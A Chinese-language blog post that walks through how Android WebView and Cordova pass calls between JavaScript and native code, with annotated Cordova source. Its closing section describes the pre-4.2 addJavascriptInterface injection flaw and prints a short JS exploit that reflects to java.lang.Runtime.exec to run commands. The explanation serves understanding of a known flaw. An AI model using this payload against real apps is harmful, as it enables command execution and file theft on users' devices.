Android自带做法
先来说一下我们常规的JS与原生交互的实现方式。
下面只是简单介绍，更详细的部分可以参考我另外写的这篇文章：Android原生与JS交互总结
js调用原生
通过给方法添加@JavascriptInterface注解，然后通过mWebView.addJavascriptInterface(object, name)将刚才那个方法所在的类注入JS，然后js就可以直接通过name.方法名()来调用刚才那个方法。
几个要点：
- 这个方法是同步的，可以直接返回值给js；
- 支持根据参数个数重载，但不支持根据参数类型重载；
- 支持一些简单的js与原生数据转换；
- 只需要对webview全局注入一次，无需针对每个页面重新注入；
- 对iframe的支持不同版本Android不一样，有的会注入到iframe里面，有的不会；
- Android4.2开始才增加
@JavascriptInterface注解，目的是为了解决一个漏洞，在此之后，只有添加了这个注解的方法才会被注入JS。
原生调用js
一般都是通过mWebView.loadUrl('javascript:xxx')来执行一段JS，据说这个方法有一个bug，就是执行的时候如果输入法是弹出的，执行后输入法会自动消失，我暂未亲测。
这个方法最大的缺点是无法优雅的解决异步回调问题，鉴于此，Android4.4开始增加了如下方法：
mWebView.evaluateJavascript(script, resultCallback)
有了这个方法就可以非常方便的实现js的异步回调，但是毕竟低于Android4.4的版本还是有比较大的份额，所以一般还是得自己另行解决异步回调的问题。
Cordova/PhoneGap的实现方式
JS调用原生
这里不作特别细致的源码分析，只是大概走一下整个流程。我们这里以调用摄像头拍照为例分析一下整个过程。
调用摄像头拍照有2个方法，一个navigator.device.capture.captureImage，一个是navigator.camera.getPicture，我们这里以前面一个方法为例。
我们从如下代码开始调用：
navigator.device.capture.captureImage(function(mediaFiles)
{
console.log(mediaFiles);
});
然后进入capture.js：
Capture.prototype.captureImage = function(successCallback, errorCallback, options){
_capture("captureImage", successCallback, errorCallback, options);
};
然后进入cordova.js中的：
androidExec(success, fail, service, action, args)
这里面有一个jsToNativeBridgeMode，cordova的jsToNative有2种实现方式：
jsToNativeModes = {
PROMPT: 0, // 采用prompt实现
JS_OBJECT: 1 // 采用传统的 addJavaScriptInterface 实现
},
默认采用addJavaScriptInterface方式，也就是这里所说的JS_OBJECT，如果不存在window._cordovaNative对象，则采用prompt方式替代，那么这里的window._cordovaNative又是从哪里来的呢？
在CordovaLib项目中的SystemWebViewEngine.java文件中有这样一个方法：
private static void exposeJsInterface(WebView webView, CordovaBridge bridge) {
if ((Build.VERSION.SDK_INT < Build.VERSION_CODES.JELLY_BEAN_MR1)) {
Log.i(TAG, "Disabled addJavascriptInterface() bridge since Android version is old.");
// Bug being that Java Strings do not get converted to JS strings automatically.
// This isn't hard to work-around on the JS side, but it's easier to just
// use the prompt bridge instead.
return;
}
SystemExposedJsApi exposedJsApi = new SystemExposedJsApi(bridge);
webView.addJavascriptInterface(exposedJsApi, "_cordovaNative");
}
其含义是，如果当前Android版本>=4.2，那么直接采用Android原生提供的addJavaScriptInterface方法来注入一个名叫SystemExposedJsApi的对象，否则不作任何处理（只弹了一个提示），为什么这么做呢？注释里面是说“由于Java的String不会自动转换成js的string，虽然在js端比较容易处理，但是采用prompt方式替代更容易”，我觉得还有另外一个原因，就是4.2之前存在的那个注入漏洞。
这个SystemExposedJsApi类仅仅只注入了3个方法：
@JavascriptInterface
public String exec(int bridgeSecret, String service, String action, String callbackId, String arguments) throws JSONException, IllegalAccessException {
return bridge.jsExec(bridgeSecret, service, action, callbackId, arguments);
}
@JavascriptInterface
public void setNativeToJsBridgeMode(int bridgeSecret, int value) throws IllegalAccessException {
bridge.jsSetNativeToJsBridgeMode(bridgeSecret, value);
}
@JavascriptInterface
public String retrieveJsMessages(int bridgeSecret, boolean fromOnlineEvent) throws IllegalAccessException {
return bridge.jsRetrieveJsMessages(bridgeSecret, fromOnlineEvent);
}
这3个方法最终都是调用CordovaBridge对应的方法，分别是：
- exec 执行，几乎所有方法的执行都是都过这个方法
- setNativeToJsBridgeMode 设置原生调用JS的桥接模式
- retrieveJsMessages 从原生获取JS消息
好了，说了一大通再回到刚开始那里，如果是采用prompt方式呢？
在cordova.js中找到如下代码：
define("cordova/android/promptbasednativeapi", function(require, exports, module) {
/**
* 实现ExposedJsApi.java的API，但是采用prompt()实现
*/
module.exports = {
exec: function(bridgeSecret, service, action, callbackId, argsJson) {
return prompt(argsJson, 'gap:'+JSON.stringify([bridgeSecret, service, action, callbackId]));
},
setNativeToJsBridgeMode: function(bridgeSecret, value) {
prompt(value, 'gap_bridge_mode:' + bridgeSecret);
},
retrieveJsMessages: function(bridgeSecret, fromOnlineEvent) {
return prompt(+fromOnlineEvent, 'gap_poll:' + bridgeSecret);
}
};
});
可以看到，promptbasednativeapi提供了和ExposedJsApi.java一模一样的3个方法，只不过调用的都是prompt方法，然后我们在Android端的SystemWebChromeClient找到如下方法：
public boolean onJsPrompt(WebView view, String origin, String message, String defaultValue, final JsPromptResult result) {
// 不像@JavascriptInterface方式，prompt调用总是在UI线程
String handledRet = parentEngine.bridge.promptOnJsPrompt(origin, message, defaultValue);
if (handledRet != null) // 只要返回不是null，就认为是特殊的prompt消息
{
result.confirm(handledRet);
}
else
{
//正常的prompt处理
}
return true;
}
CordovaBridge.promptOnJsPrompt最终也还是和SystemExposedJsApi一样，调用的那3个方法，所以，至此可以发现，无论哪种bridgeMode最终调用的方法是一样的。
回到androidExec方法：
/**
* 所有执行Android方法都是调用这个
* @param {Object} success 成功回调
* @param {Object} fail 失败回调
* @param {Object} service 原生的类名
* @param {Object} action 原生的方法名
* @param {Object} args 参数，数组格式，个人觉得采用json格式会更好
*/
function androidExec(success, fail, service, action, args) {
if (bridgeSecret < 0) {
// cordova为了安全考虑，会在页面初始化的时候执行一个“gap_init:”的东西，这里面就是
// 在原生随机生成一个数字作为密钥，然后返回给js，js获取之后保存下来，每次执行exec时都必须
// 携带这个密钥，否则视作不合法的执行，页面每次刷新密钥都会重新生成
throw new Error('exec() called without bridgeSecret');
}
// 默认采用JS_OBJECT桥接模式
if (jsToNativeBridgeMode === undefined) {
androidExec.setJsToNativeBridgeMode(jsToNativeModes.JS_OBJECT);
}
// 将参数中的 ArrayBuffers 转换成字符串
for (var i = 0; i < args.length; i++) {
if (utils.typeName(args[i]) == 'ArrayBuffer') {
args[i] = base64.fromArrayBuffer(args[i]);
}
}
// 这里生成一个callbackId，格式是：类名+一个递增的数字
var callbackId = service + cordova.callbackId++,
argsJson = JSON.stringify(args);
// 只要成功和回调有一个被设置了就将这2个方法放到全局的回调池中去（姑且这么称呼）
if (success || fail) {
cordova.callbacks[callbackId] = {success:success, fail:fail};
}
// nativeApiProvider.get()就是获取合适的bridgeMode，然后执行
// 根据上面的分析可以知道，这里的执行可能是直接调用_cordovaNative.exec，也有可能是调用prompt实现
var msgs = nativeApiProvider.get().exec(bridgeSecret, service, action, callbackId, argsJson);
// 如果是JS_OBJECT模式并且原生没有接收到参数，换成prompt模式再执行一次，执行完了再换回JS_OBJECT模式
// 这种情况非常少见，仅限少数设备（如Galaxy S2）当包含特殊Unicode字符时出现，我们可以完全忽略这段代码
if (jsToNativeBridgeMode == jsToNativeModes.JS_OBJECT && msgs === "@Null arguments.") {
androidExec.setJsToNativeBridgeMode(jsToNativeModes.PROMPT);
androidExec(success, fail, service, action, args);
androidExec.setJsToNativeBridgeMode(jsToNativeModes.JS_OBJECT);
} else if (msgs) {
// 如果exec执行后直接返回了东西，将返回的消息放入数组，然后异步取出再处理
//至于这里为何要先放入数组然后再异步取出还没太搞明白
messagesFromNative.push(msgs);
// Always process async to avoid exceptions messing up stack.
nextTick(processMessages);
}
}
js暂时说到这里，进入CordovaBridge.jsExec之后调用：
pluginManager.exec(service, action, callbackId, arguments);
PluginManager根据service名称获到相应的CordovaPlugin，然后再：
plugin.execute(action, rawArgs, callbackContext)
由于Capture是继承自CordovaPlugin的，所以最终调用的是Capture.execute，里面根据action来调用指定的方法：
if (action.equals("captureImage")) {
this.captureImage(pendingRequests.createRequest(CAPTURE_IMAGE, options, callbackContext));
}
然后：
Intent intent = new Intent(android.provider.MediaStore.ACTION_IMAGE_CAPTURE)；
//省略其它代码
this.cordova.startActivityForResult((CordovaPlugin) this, intent, req.requestCode);
至此就成功启动摄像头了。
原生调用js
讲了这么久，终于到了原生调用js了。
补充：
虽然调用摄像头拍照并返回结果按照我们常规理解是异步的，但其实上面启动完摄像头之后，原生立即返回了js一个类似下面这样的消息：
'42 S11 CoreAndroid52457735 {"action":"pause"}'
前端接收到之后有一个专门处理消息的方法processMessages，这个字符串按照一定规则生成，比如S表示成功，S后面的1表示keepCallback，具体我就懒得分析了，最后是调用了一个onMessageFromNative方法，内部调用了：
cordova.fireDocumentEvent('pause')
这里面自定义了一个名为pause的事件并触发，具体这一步是干嘛还没仔细看。
下面说说原生是如何调用js的。
用户拍照并点击确定后会触发Capture.java的onActivityResult方法(当然取消拍照也会触发)：
pendingRequests.resolveWithSuccess(req)
然后
req.callbackContext.sendPluginResult(new PluginResult(PluginResult.Status.OK, req.results))；
然后
webView.sendPluginResult(pluginResult, callbackId)
然后
nativeToJsMessageQueue.addPluginResult(pluginResult, callbackId);
然后
nativeToJsMessageQueue.enqueueMessage(message)
然后：
queue.add(message); // 将返回的消息加入队列
if (!paused)
{
activeBridgeMode.onNativeToJsMessageAvailable(this);
}
上面的onNativeToJsMessageAvailable就是原生调用js，具体怎么调，我们再来说说cordova的原生调用js几种方式。
在cordova.js中有这样一段代码：
nativeToJsModes = {
// Polls for messages using the JS->Native bridge.
// JS自己执行一个计时器每50毫秒主动到原生的消息队列获取消息
// 说实话这种方式我也是醉了，不予置评，貌似几乎没有采用这种方式的情况
POLLING: 0,
// For LOAD_URL to be viable, it would need to have a work-around for
// the bug where the soft-keyboard gets dismissed when a message is sent.
// 采用传统的loadUrl('javascript:xxx')的方式，这种方式存在输入法自动消失的bug
LOAD_URL: 1,
// For the ONLINE_EVENT to be viable, it would need to intercept all event
// listeners (both through addEventListener and window.ononline) as well
// as set the navigator property itself.
// 采用window.ononline和window.onoffline事件来通知js去原生获取消息，
// 原生端则是通过频繁的调用webView.setNetworkAvailable(true/false)来让浏览器联网/掉线
// 从而触发online和offline，这种方式我一直在纠结其速度、性能究竟如何？
ONLINE_EVENT: 2
},
默认采用ONLINE_EVENT，然后我们再回到Android端，NativeToJsMessageQueue.BridgeMode内部类：
public static abstract class BridgeMode {
public abstract void onNativeToJsMessageAvailable(NativeToJsMessageQueue queue);
public void notifyOfFlush(NativeToJsMessageQueue queue, boolean fromOnlineEvent) {}
public void reset() {}
}
BridgeMode有3种实现，其实你应该猜到了，就是上面提到的3中交互方式：
轮询
轮询就是采用这种方式，由于是js主动定时到原生获取消息，所以这种方式无需任何操作，所以才叫NoOP。
public static class NoOpBridgeMode extends BridgeMode {
@Override public void onNativeToJsMessageAvailable(NativeToJsMessageQueue queue) {
}
}
loadUrl
采用 webView.loadUrl(“javascript:”) 来执行js代码：
public static class LoadUrlBridgeMode extends BridgeMode {
//省略部分代码
@Override
public void onNativeToJsMessageAvailable(final NativeToJsMessageQueue queue) {
cordova.getActivity().runOnUiThread(new Runnable() {
public void run() {
String js = queue.popAndEncodeAsJs();
if (js != null) {
engine.loadUrl("javascript:" + js, false);
}
}
});
}
}
online/offline事件
通过webView.setNetworkAvailable(true/false)来设置webview的联网与掉线，从而触发js的window.ononline和window.onoffline事件，然后再主动通过retrieveJsMessages到原生的消息队列获取消息。
public static class OnlineEventsBridgeMode extends BridgeMode {
// 省略部分代码
@Override
public void onNativeToJsMessageAvailable(final NativeToJsMessageQueue queue) {
delegate.runOnUiThread(new Runnable() {
public void run() {
if (!queue.isEmpty()) {
ignoreNextFlush = false;
delegate.setNetworkAvailable(online);
}
}
});
}
}
其中，OnlineEventsBridgeMode内部有一个名叫OnlineEventsBridgeModeDelegate的接口，在SystemWebViewEngine.java中实现了它：
@Override
public void setNetworkAvailable(boolean value) {
webView.setNetworkAvailable(value);
}
添加事件的时候好像有一个window和document的处理，懒得仔细看了，因为鄙人非常不看好这种方式。
function hookOnlineApis() {
function proxyEvent(e) {
cordova.fireWindowEvent(e.type);
}
// The network module takes care of firing online and offline events.
// It currently fires them only on document though, so we bridge them
// to window here (while first listening for exec()-releated online/offline
// events).
window.addEventListener('online', pollOnceFromOnlineEvent, false);
window.addEventListener('offline', pollOnceFromOnlineEvent, false);
cordova.addWindowEventHandler('online');
cordova.addWindowEventHandler('offline');
document.addEventListener('online', proxyEvent, false);
document.addEventListener('offline', proxyEvent, false);
}
function pollOnceFromOnlineEvent() {
pollOnce(true);
}
function pollOnce(opt_fromOnlineEvent) {
if (bridgeSecret < 0) {
// This can happen when the NativeToJsMessageQueue resets the online state on page transitions.
// We know there's nothing to retrieve, so no need to poll.
return;
}
// 主动调用原生方法获取队列中的消息
var msgs = nativeApiProvider.get().retrieveJsMessages(bridgeSecret, !!opt_fromOnlineEvent);
if (msgs) {
messagesFromNative.push(msgs);
// 同步处理消息因为我们确定消息一定在队列的最上面
processMessages();
}
}
点击拍照并确定之后，收到一个指定格式的字符串，里面包含了刚拍完照片的路径，然后再根据callbackId去回调我们最早设置的2个回调函数：
好了，终于差不多讲完了，写这么多估计看的人早糊涂了，因为感觉写的太乱了。
总结
终于可以来个总结了。
js调用原生这一块，Android4.2以上（包括）直接采用@JavaScriptInterface注入3个方法，其中最重要的是exec，所有的方法调用都是通过exec来执行，而4.2以下版本由于安全以及其它一些兼容性问题，采用prompt变相实现，这一点我觉得能接受。
原生调用js这一块，轮询就不用说了，太low了，效率也低，无论从哪个角度都不可取；仅仅是为了规避loadUrl执行js时会隐藏输入法这一个问题，转而采用令人无语的online事件，前后端各种无缝配合最终才实现原生传递数据到js，个人觉得有点小题大做了，一个是我觉得输入法自动隐藏那个小问题我能接受，毕竟在用户打字的时候触发某个消息这种情况不是很常见，二来是否可以有其它方法来规避这个问题？而且Android4.4开始已经提供了原始的执行js的方法而非loadUrl变相实现。
以上仅是个人观点，略太偏激，可能是我眼光太浅有些没考虑到的地方。
mui的HTML5+sdk实现
//TODO
补充：JS注入漏洞
具体参见 Android WebView的Js对象注入漏洞解决方案 一文。
这里只是简单的转载，本人没有亲测。
由于Android4.2之前，无需给注入的方法添加@JavascriptInterface注解即可注入所有那个类的所有方法，包括getClass，所以：
- WebView添加了JavaScript对象，并且当前应用具有读写SDCard的权限，也就是：
android.permission.WRITE_EXTERNAL_STORAGE - JS中可以遍历window对象，找到存在
getClass方法的对象的对象，然后再通过反射的机制，得到Runtime对象，然后调用静态方法来执行一些命令，比如访问文件的命令. - 再从执行命令后返回的输入流中得到字符串，就可以得到文件名的信息了。然后想干什么就干什么，好危险。
核心JS代码如下：
function execute(cmdArgs)
{
for (var obj in window)
{
if ("getClass" in window[obj])
{
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime")
.getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
